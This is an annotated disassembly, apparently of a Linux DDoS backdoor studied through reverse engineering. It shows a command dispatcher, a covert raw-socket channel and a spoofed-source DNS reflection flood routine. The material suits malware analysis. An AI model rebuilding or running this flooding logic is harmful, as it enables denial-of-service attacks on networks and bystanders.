		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048D4C:				; CODE XREF: main+C2Dj
		mov	al, [ebx+ebp-44ADh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048D4C
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Eh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Dh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ch]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Bh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ah]
		push	eax
		movzx	eax, [ebp+cmdbuf+9]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_8049D40
		add	esp, 38h
		push	0
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

case0xb:				; CODE XREF: main+1F1j
					; DATA XREF: main+224o
		cmp	ds:child_pid, 0	; case 0xb
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 0Ch
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048E28:				; CODE XREF: main+D09j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048E28
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Dh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ch]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Bh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ah]
		push	eax
		movzx	eax, [ebp+cmdbuf+9]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_8049564
		add	esp, 34h
		push	0
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8048EB8:				; CODE XREF: main+1A5j	main+1B4j ...
		push	2710h		; default
		call	usleep
		add	esp, 4
		jmp	process_command_packet
main		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  8Dh	; █
		db  36h	; 6

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

broadcast_packet proc near		; CODE XREF: main+2AFp	main+5ABp

var_C		= byte ptr -0Ch
address_list	= dword	ptr  8
data		= dword	ptr  0Ch
datalen		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+address_list]
		mov	edi, [ebp+datalen]
		cmp	ds:cmdbuffbyte1, 0
		jz	short loc_8048F10
		mov	ebx, eax
		lea	esi, [ebx+36]
		lea	esi, [esi]

loc_8048EE8:				; CODE XREF: broadcast_packet+3Ej
		push	0FA0h
		call	usleep
		push	edi
		mov	edx, [ebp+data]
		push	edx
		push	ebx
		push	offset dataptr
		call	send_packet
		add	esp, 14h
		add	ebx, 4
		cmp	ebx, esi
		jle	short loc_8048EE8
		jmp	short loc_8048F20
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048F10:				; CODE XREF: broadcast_packet+13j
		push	edi
		mov	edx, [ebp+data]
		push	edx
		push	eax
		push	offset dataptr
		call	send_packet

loc_8048F20:				; CODE XREF: broadcast_packet+40j
		mov	eax, 1
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
broadcast_packet endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8048F30	proc near

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx
		mov	[ebp+var_2], 0
		cmp	edx, 1
		jle	short loc_8048F5C
		lea	esi, [esi]

loc_8048F4C:				; CODE XREF: sub_8048F30+2Aj
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8048F4C

loc_8048F5C:				; CODE XREF: sub_8048F30+18j
		cmp	edx, 1
		jnz	short loc_8048F6C
		mov	al, [ebx]
		mov	byte ptr [ebp+var_2], al
		movzx	eax, [ebp+var_2]
		add	ecx, eax

loc_8048F6C:				; CODE XREF: sub_8048F30+2Fj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_2], ax
		and	eax, 0FFFFh
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8048F30	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

send_packet	proc near		; CODE XREF: broadcast_packet+31p
					; broadcast_packet+4Fp

var_50		= byte ptr -50h
sockfd		= dword	ptr -44h
datahdr		= dword	ptr -40h
iphdr		= dword	ptr -3Ch
data		= dword	ptr -38h
var_32		= word ptr -32h
tmpbuf		= byte ptr -30h
addr		= byte ptr -10h
srcaddr		= dword	ptr  8
dstaddr		= dword	ptr  0Ch
out		= dword	ptr  10h
outlen		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+dstaddr]
		push	0FFh		; proto	= FF
		push	3		; raw
		push	2		; inet
		call	socket		; socket(PF_INET, SOCK_RAW, 0xFF)
		mov	[ebp+sockfd], eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8048FCE
		mov	eax, [ebp+outlen]
		add	eax, 17h
		push	eax
		call	malloc		; malloc(outlen	+ 23)
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_8048FD8

loc_8048FCE:				; CODE XREF: send_packet+23j
		xor	eax, eax
		jmp	loc_804912C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048FD8:				; CODE XREF: send_packet+38j
		mov	[ebp+iphdr], esi
		lea	edi, [esi+14h]
		mov	[ebp+datahdr], edi
		lea	edi, [esi+16h]
		mov	[ebp+data], edi
		mov	edi, [ebp+srcaddr]
		mov	al, [edi]
		mov	[esi+0Ch], al
		mov	al, [edi+1]
		mov	[esi+0Dh], al
		mov	al, [edi+2]
		mov	[esi+0Eh], al
		mov	al, [edi+3]
		mov	[esi+0Fh], al
		mov	al, [ebx]
		mov	[esi+10h], al
		mov	al, [ebx+1]
		mov	[esi+11h], al
		mov	al, [ebx+2]
		mov	[esi+12h], al
		mov	al, [ebx+3]
		mov	[esi+13h], al
		movzx	eax, byte ptr [ebx+3]
		push	eax
		movzx	eax, byte ptr [ebx+2]
		push	eax
		movzx	eax, byte ptr [ebx+1]
		push	eax
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+tmpbuf]
		push	ebx
		call	sprintf
		push	ebx
		call	get_haddr
		mov	dword ptr [ebp+addr+4],	eax ; sockaddr_in.sin_addr.s_addr = get_haddr(buf)
		mov	word ptr [ebp+addr+2], 0Ah ; sockaddr_in.sin_port = 0x0A
		mov	word ptr [ebp+addr], 2 ; sockaddr_in.sin_family	= AF_INET
		mov	byte ptr [esi],	45h ; iphdr.version = 0x45
		mov	byte ptr [esi+8], 0FAh ; iphdr.ttl = 0xFA
		mov	byte ptr [esi+9], 0Bh ;	iphdr.protocol = 0x0B
		add	esp, 1Ch
		mov	ax, word ptr [ebp+outlen]
		add	ax, 16h
		xchg	al, ah
		mov	[esi+2], ax	; iphdr.tot_len	= outlen + 0x16
		mov	byte ptr [esi+1], 0 ; iphdr.tos	= 0
		call	random
		xchg	al, ah
		mov	[esi+4], ax	; iphdr.id = random()
		mov	word ptr [esi+6], 0 ; iphdr.frag_off = 0
		mov	word ptr [esi+0Ah], 0 ;	iphdr.check = 0
		mov	edx, 14h	; sizeof(iphdr)
		mov	ecx, esi
		xor	ebx, ebx
		mov	[ebp+var_32], 0

loc_8049094:				; CODE XREF: send_packet+10Ej
		movzx	eax, word ptr [ecx]
		add	ebx, eax
		add	ecx, 2		; ecx += 2
		add	edx, 0FFFFFFFEh	; edx -= 2
		cmp	edx, 1
		jg	short loc_8049094 ; if (edx > 1)
		jnz	short loc_80490B1 ; if (edx != 1)
		mov	al, [ecx]
		mov	byte ptr [ebp+var_32], al
		movzx	eax, [ebp+var_32]
		add	ebx, eax

loc_80490B1:				; CODE XREF: send_packet+110j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_32], ax
		mov	edi, [ebp+iphdr]
		mov	[edi+0Ah], ax
		mov	edi, [ebp+datahdr]
		mov	byte ptr [edi],	3
		mov	edi, [ebp+outlen]
		push	edi		; outlen
		mov	edi, [ebp+out]
		push	edi		; out
		mov	edi, [ebp+data]
		push	edi		; data
		call	memcpy		; memcpy(data, out, outlen)
		add	esp, 0Ch
		push	10h		; sizeof(addr)
		lea	eax, [ebp+addr]
		push	eax		; &addr
		push	0		; 0
		mov	eax, [ebp+outlen]
		add	eax, 16h
		push	eax		; arg_C	+ sizeof(datahdr)
		push	esi		; iphdr
		mov	edi, [ebp+sockfd]
		push	edi
		call	sendto		; sendto(sockfd, iphdr,	outlen + 0x16, 0, &addr, sizeof(addr))
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8049118
		push	esi
		call	free		; free(iphdr)
		xor	eax, eax	; return 0
		jmp	short loc_804912C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049118:				; CODE XREF: send_packet+178j
		mov	edi, [ebp+sockfd]
		push	edi
		call	close		; close(sockfd)
		push	esi
		call	free		; free(iphdr)
		mov	eax, 1		; return 1

loc_804912C:				; CODE XREF: send_packet+3Cj
					; send_packet+182j
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
send_packet	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

get_haddr	proc near		; CODE XREF: send_packet+A6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	gethostbyname
		mov	ecx, eax
		add	esp, 4
		test	ecx, ecx
		jz	short loc_804916C
		mov	eax, [ecx+10h]
		mov	edx, [eax]
		mov	eax, [ecx+0Ch]
		push	eax
		push	edx
		push	offset dword_80792BC
		call	memcpy
		mov	eax, ds:dword_80792BC
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804916C:				; CODE XREF: get_haddr+13j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
get_haddr	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8049174	proc near		; CODE XREF: main+684p	main+AEEp

saved_regs	= dword	ptr -680h
ptr_buffer	= dword	ptr -674h
offset		= dword	ptr -670h
destip		= dword	ptr -66Ch
lookup_counter	= dword	ptr -668h
lookup_stepper	= dword	ptr -664h
payload		= dword	ptr -660h
udphdr		= dword	ptr -65Ch
sockfd		= dword	ptr -658h
randomize_start	= dword	ptr -654h
save_d		= dword	ptr -650h
save_c		= dword	ptr -64Ch
save_b		= dword	ptr -648h
save_a		= dword	ptr -644h
checksum	= word ptr -63Eh
ipaddr		= dword	ptr -63Ch
buffer		= byte ptr -638h
dstaddr		= byte ptr -228h
payloads	= dword	ptr -218h
lengths		= dword	ptr -24h
srcaddr_a	= dword	ptr  8
srcaddr_b	= dword	ptr  0Ch
srcaddr_c	= dword	ptr  10h
srcaddr_d	= dword	ptr  14h
lookup_step	= dword	ptr  18h
srcport_hi	= dword	ptr  1Ch
srcport_lo	= dword	ptr  20h
use_srchost	= dword	ptr  24h
srchost		= dword	ptr  28h

		push	ebp		; initialize stack & preserve registers
		mov	ebp, esp	;	  |
		sub	esp, 674h	;	  |
		push	edi		;	  |
		push	esi		;	  |
		push	ebx		;	  v
		mov	bl, byte ptr [ebp+srcaddr_a]
		mov	byte ptr [ebp+save_a], bl ; save_a = a
		mov	bl, byte ptr [ebp+srcaddr_b]
		mov	byte ptr [ebp+save_b], bl ; save_b = b
		mov	bl, byte ptr [ebp+srcaddr_c]
		mov	byte ptr [ebp+save_c], bl ; save_c = c
		mov	bl, byte ptr [ebp+srcaddr_d]
		mov	byte ptr [ebp+save_d], bl ; save_d = d
		lea	edi, [ebp+lengths]
		mov	esi, offset length_table
		cld
		mov	ecx, 9
		repe movsd		; memcpy(var_24, length_table, 36)
		mov	[ebp+randomize_start], 1
		lea	edi, [ebp+payloads]
		mov	esi, offset payload_table
		cld
		mov	ecx, 7Dh
		repe movsd		; memcpy(var_218, payload_table, 500)
		lea	esi, [ebp+buffer] ; iphdr = (struct iphdr *)buffer
		lea	ebx, [ebp+buffer+14h]
		mov	[ebp+udphdr], ebx ; udphdr = (struct udphdr *)(buffer +	sizeof(struct iphdr))
		lea	ebx, [ebp+buffer+1Ch]
		mov	[ebp+payload], ebx ; payload = buffer +	sizeof(struct iphdr) + sizeof(struct udphdr)
		mov	word ptr [ebp+dstaddr],	2 ; dstaddr.sin_family = AF_INET
		mov	word ptr [ebp+dstaddr+2], 0 ; dstaddr.sin_port = 0
		cmp	[ebp+lookup_step], 0 ; if (!e)
		jz	short loc_804920A
		dec	[ebp+lookup_step] ; e--

loc_804920A:				; CODE XREF: sub_8049174+91j
		push	0FFh		; *reserved*
		push	3		; SOCK_RAW
		push	2		; PF_INET
		call	socket		; socket(PF_INET, SOCK_RAW, 0xFF)
		mov	[ebp+sockfd], eax
		add	esp, 0Ch
		test	eax, eax	; if (!sockfd)
		jle	bail_out	; { child_pid =	0;  return 0; }
		mov	[ebp+lookup_stepper], 0	; var_664 = 0
		mov	[ebp+lookup_counter], 0	; var_668 = 0
		push	400h
		push	0
		push	esi
		call	memset		; memset(buffer, 0, sizeof(buffer)) /* sizeof(buffer) == 1024 */
		add	esp, 0Ch
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

outer_loop:				; CODE XREF: sub_8049174+140j
					; sub_8049174+3CDj
		xor	edi, edi
		cmp	[ebp+use_srchost], 0
		jz	short loc_80492B2
		cmp	[ebp+lookup_counter], 0
		jg	short loc_80492B2
		mov	ebx, [ebp+srchost]
		push	ebx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_8049288
		push	258h
		call	sleep
		mov	edi, 1
		add	esp, 4
		jmp	short loc_80492B2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049288:				; CODE XREF: sub_8049174+FDj
		push	4
		lea	eax, [ebp+ipaddr]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+ipaddr]
		mov	[esi+0Ch], eax
		mov	[ebp+lookup_counter], 9C40h
		add	esp, 0Ch

loc_80492B2:				; CODE XREF: sub_8049174+E2j
					; sub_8049174+EBj ...
		test	edi, edi
		jnz	short outer_loop
		xor	edi, edi
		mov	[ebp+offset], 0
		lea	esi, [esi]

inner_loop:				; CODE XREF: sub_8049174+3C7j
		cmp	[ebp+randomize_start], 1
		jnz	short loc_80492E8
		mov	[ebp+randomize_start], 0
		call	__random
		mov	ebx, 8000
		cdq
		idiv	ebx
		jmp	short loc_80492EA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  8Dh	; █
		db  36h	; 6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80492E8:				; CODE XREF: sub_8049174+157j
		xor	edx, edx

loc_80492EA:				; CODE XREF: sub_8049174+170j
		cmp	iptable[edx*4],	0
		jz	loc_8049530
		lea	edx, ds:806D22Ch[edx*4]
		mov	[ebp+destip], edx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8049308:				; CODE XREF: sub_8049174+3B6j
		mov	ebx, [ebp+destip]
		mov	eax, [ebx]
		mov	dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = *var_66C
		mov	ebx, [ebp+offset]
		lea	edx, [ebp+ebx+payloads]
		mov	eax, [ebp+edi*4+lengths]
		push	eax		; var_24 + edi * 4
		push	edx		; var_218 + var_670
		mov	ebx, [ebp+payload]
		push	ebx		; payload
		call	memcpy		; memcpy(payload, var_218 + var_670, var_24 + edi * 4)
		add	esp, 0Ch
		call	__random
		mov	ebx, 255
		cdq
		idiv	ebx
		mov	ebx, [ebp+payload]
		mov	[ebx], dl	; payload[0] = random()	% 255
		call	__random
		mov	ebx, 255
		cdq
		idiv	ebx
		mov	ebx, [ebp+payload]
		mov	[ebx+1], dl	; payload[1] = random()	% 255
		cmp	[ebp+srcport_hi], 0
		jnz	short loc_8049380
		cmp	[ebp+srcport_lo], 0
		jnz	short loc_8049380
		call	__random
		mov	ebx, 30000
		cdq
		idiv	ebx
		mov	eax, edx
		jmp	short loc_804938A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049380:				; CODE XREF: sub_8049174+1F3j
					; sub_8049174+1F9j
		mov	eax, [ebp+srcport_hi]
		shl	eax, 8
		add	ax, word ptr [ebp+srcport_lo]

loc_804938A:				; CODE XREF: sub_8049174+20Aj
		xchg	al, ah
		mov	ebx, [ebp+udphdr] ; udphdr->source
		mov	[ebx], ax
		mov	ebx, [ebp+udphdr] ; udphdr->dest
		mov	word ptr [ebx+2], 3500h
		mov	ax, word ptr [ebp+edi*4+lengths]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax	; udphdr->len
		mov	word ptr [ebx+6], 0 ; udphdr->check
		cmp	[ebp+use_srchost], 0
		jnz	short loc_80493EC
		mov	bl, byte ptr [ebp+save_a]
		mov	[ebp+buffer+0Ch], bl
		mov	bl, byte ptr [ebp+save_b]
		mov	[ebp+buffer+0Dh], bl
		mov	bl, byte ptr [ebp+save_c]
		mov	[ebp+buffer+0Eh], bl
		mov	bl, byte ptr [ebp+save_d]
		mov	[ebp+buffer+0Fh], bl

loc_80493EC:				; CODE XREF: sub_8049174+246j
		mov	ebx, [ebp+destip]
		mov	eax, [ebx]
		mov	[esi+10h], eax
		mov	byte ptr [esi],	45h
		call	__random
		mov	ebx, 130
		cdq
		idiv	ebx
		add	dl, 120
		mov	[esi+8], dl
		call	__random
		mov	ebx, 255
		cdq
		idiv	ebx
		mov	[esi+4], dx
		mov	byte ptr [esi+9], 11h
		mov	word ptr [esi+6], 0
		mov	ax, word ptr [ebp+edi*4+lengths]
		add	ax, 1Ch
		xchg	al, ah
		mov	[esi+2], ax
		mov	word ptr [esi+0Ah], 0
		mov	edx, 14h
		lea	ebx, [ebp+buffer]
		mov	[ebp+ptr_buffer], ebx
		xor	ecx, ecx
		mov	[ebp+checksum],	0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804945C:				; CODE XREF: sub_8049174+302j
		mov	ebx, [ebp+ptr_buffer]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+ptr_buffer], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804945C
		jnz	short loc_804948B
		mov	al, [ebx]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ecx, eax

loc_804948B:				; CODE XREF: sub_8049174+304j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+checksum],	ax
		mov	[esi+0Ah], ax
		push	10h		; sizeof(dstaddr)
		lea	eax, [ebp+dstaddr]
		push	eax		; &dstaddr
		push	0		; 0
		mov	eax, [ebp+edi*4+lengths]
		add	eax, 1Ch
		push	eax		; var_24 + edi * 4 + sizeof(struct iphdr) + sizeof(struct udphdr)
		lea	eax, [ebp+buffer]
		push	eax		; buffer
		mov	ebx, [ebp+sockfd]
		push	ebx		; sockfd
		call	sendto		; sendto(sockfd, buffer, var_24	+ edi *	4 + 0x1C, &dstaddr, sizeof(dstaddr))
		add	esp, 18h
		cmp	[ebp+lookup_step], 0
		jnz	short loc_80494E8
		push	300
		call	usleep		; usleep(300)
		jmp	short loc_8049507
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80494E8:				; CODE XREF: sub_8049174+366j
		mov	ebx, [ebp+lookup_step]
		cmp	[ebp+lookup_stepper], ebx
		jnz	short loc_8049514
		push	300
		call	usleep		; usleep(300)
		mov	[ebp+lookup_stepper], 0

loc_8049507:				; CODE XREF: sub_8049174+372j
		dec	[ebp+lookup_counter]
		add	esp, 4
		jmp	short loc_804951A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049514:				; CODE XREF: sub_8049174+37Dj
		inc	[ebp+lookup_stepper]

loc_804951A:				; CODE XREF: sub_8049174+39Cj
		add	[ebp+destip], 4
		mov	ebx, [ebp+destip]
		cmp	dword ptr [ebx], 0
		jnz	loc_8049308

loc_8049530:				; CODE XREF: sub_8049174+17Ej
		add	[ebp+offset], 32h
		inc	edi		; edi++
		cmp	edi, 8
		jle	inner_loop
		jmp	outer_loop
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

bail_out:				; CODE XREF: sub_8049174+AFj
		mov	ds:child_pid, 0	; child_pid = 0
		xor	eax, eax	; return 0
		lea	esp, [ebp+saved_regs] ;	cleanup	& restore the stack
		pop	ebx		;	  |
		pop	esi		;	  |
		pop	edi		;	  |
		mov	esp, ebp	;	  |
		pop	ebp		;	  v
		retn
sub_8049174	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8049564	proc near		; CODE XREF: main+D72p

saved_regs	= dword	ptr -698h
var_68C		= dword	ptr -68Ch
offset		= dword	ptr -688h
lookup_counter	= dword	ptr -684h
lookup_stepper	= dword	ptr -680h
payload		= dword	ptr -67Ch
udphdr		= dword	ptr -678h
sockfd		= dword	ptr -674h
save_srcaddr_d	= dword	ptr -670h
save_srcaddr_c	= dword	ptr -66Ch
save_srcaddr_b	= dword	ptr -668h
save_srcaddr_a	= dword	ptr -664h
save_dstaddr_d	= dword	ptr -660h
save_dstaddr_c	= dword	ptr -65Ch
save_dstaddr_b	= dword	ptr -658h
save_dstaddr_a	= dword	ptr -654h
checksum	= word ptr -64Eh
ipaddr		= dword	ptr -64Ch
dstaddr_buf	= byte ptr -648h
buffer		= byte ptr -628h
dstaddr		= byte ptr -228h
payloads	= byte ptr -218h
lengths		= dword	ptr -24h
dstaddr_a	= dword	ptr  8
dstaddr_b	= dword	ptr  0Ch
dstaddr_c	= dword	ptr  10h
dstaddr_d	= dword	ptr  14h
srcaddr_a	= dword	ptr  18h
srcaddr_b	= dword	ptr  1Ch
srcaddr_c	= dword	ptr  20h
srcaddr_d	= dword	ptr  24h
lookup_step	= dword	ptr  28h
srcport_hi	= dword	ptr  2Ch
srcport_lo	= dword	ptr  30h
use_dsthost	= dword	ptr  34h
dsthost		= dword	ptr  38h

		push	ebp		; initialize stack & preserve registers
		mov	ebp, esp	;	  |
		sub	esp, 68Ch	;	  |
		push	edi		;	  |
		push	esi		;	  |
		push	ebx		;	  v
		mov	bl, byte ptr [ebp+dstaddr_a]
		mov	byte ptr [ebp+save_dstaddr_a], bl ; save_dstaddr_a = dstaddr_a
		mov	bl, byte ptr [ebp+dstaddr_b]
		mov	byte ptr [ebp+save_dstaddr_b], bl ; save_dstaddr_b = dstaddr_b
		mov	bl, byte ptr [ebp+dstaddr_c]
		mov	byte ptr [ebp+save_dstaddr_c], bl ; save_dstaddr_c = dstaddr_c
		mov	bl, byte ptr [ebp+dstaddr_d]
		mov	byte ptr [ebp+save_dstaddr_d], bl ; save_dstaddr_d = dstaddr_d
		mov	bl, byte ptr [ebp+srcaddr_a]
		mov	byte ptr [ebp+save_srcaddr_a], bl ; save_arg_10	= arg_10
		mov	bl, byte ptr [ebp+srcaddr_b]
		mov	byte ptr [ebp+save_srcaddr_b], bl ; save_arg_14	= arg_14
		mov	bl, byte ptr [ebp+srcaddr_c]
		mov	byte ptr [ebp+save_srcaddr_c], bl ; save_arg_18	= arg_18
		mov	bl, byte ptr [ebp+srcaddr_d]
		mov	byte ptr [ebp+save_srcaddr_d], bl ; save_arg_1C	= arg_1C
		lea	edi, [ebp+lengths]
		mov	esi, offset length_table
		cld
		mov	ecx, 9
		repe movsd		; memcpy(lengths, length_table,	sizeof(length_table))
		lea	edi, [ebp+payloads]
		mov	esi, offset payload_table
		cld
		mov	ecx, 7Dh
		repe movsd		; memcpy(payloads, payload_table, sizeof(payload_table))
		lea	edi, [ebp+buffer] ; iphdr = (struct iphdr *)buffer
		lea	ebx, [ebp+buffer+14h]
		mov	[ebp+udphdr], ebx ; udphdr = (struct udphdr *)(buffer +	sizeof(struct iphdr))
		lea	ebx, [ebp+buffer+1Ch]
		mov	[ebp+payload], ebx ; payload = buffer +	sizeof(struct iphdr) + sizeof(struct udphdr)
		mov	word ptr [ebp+dstaddr],	2 ; dstaddr.sin_family = AF_INET
		mov	word ptr [ebp+dstaddr+2], 0 ; dstaddr.sin_port = 0
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049645
		movzx	eax, byte ptr [ebp+save_dstaddr_d]
		push	eax		; save_dstaddr_d
		movzx	eax, byte ptr [ebp+save_dstaddr_c]
		push	eax		; save_dstaddr_c
		movzx	eax, byte ptr [ebp+save_dstaddr_b]
		push	eax		; save_dstaddr_b
		movzx	eax, byte ptr [ebp+save_dstaddr_a]
		push	eax		; save_dstaddr_a
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	eax, [ebp+dstaddr_buf]
		push	eax		; dstaddr_buf
		call	sprintf		; sprintf(dstaddr_buf, "%d.%d.%d.%d", save_dstaddr_a, save_dstaddr_b, save_dstaddr_c, save_dstaddr_d)
		add	esp, 18h

loc_8049645:				; CODE XREF: sub_8049564+ABj
		cmp	[ebp+lookup_step], 0
		jz	short loc_804964E
		dec	[ebp+lookup_step]

loc_804964E:				; CODE XREF: sub_8049564+E5j
		push	0FFh		; *reserved*
		push	3		; SOCK_RAW
		push	2		; PF_INET
		call	socket		; socket(PF_INET, SOCK_RAW, 0xFF)
		mov	[ebp+sockfd], eax
		add	esp, 0Ch
		test	eax, eax
		jle	bail_out
		mov	[ebp+lookup_stepper], 0	; lookup_stepper = 0
		mov	[ebp+lookup_counter], 0	; lookup_counter = 0
		push	400h
		push	0
		push	edi
		call	memset		; memset(buffer, 0, sizeof(buffer))
		add	esp, 0Ch
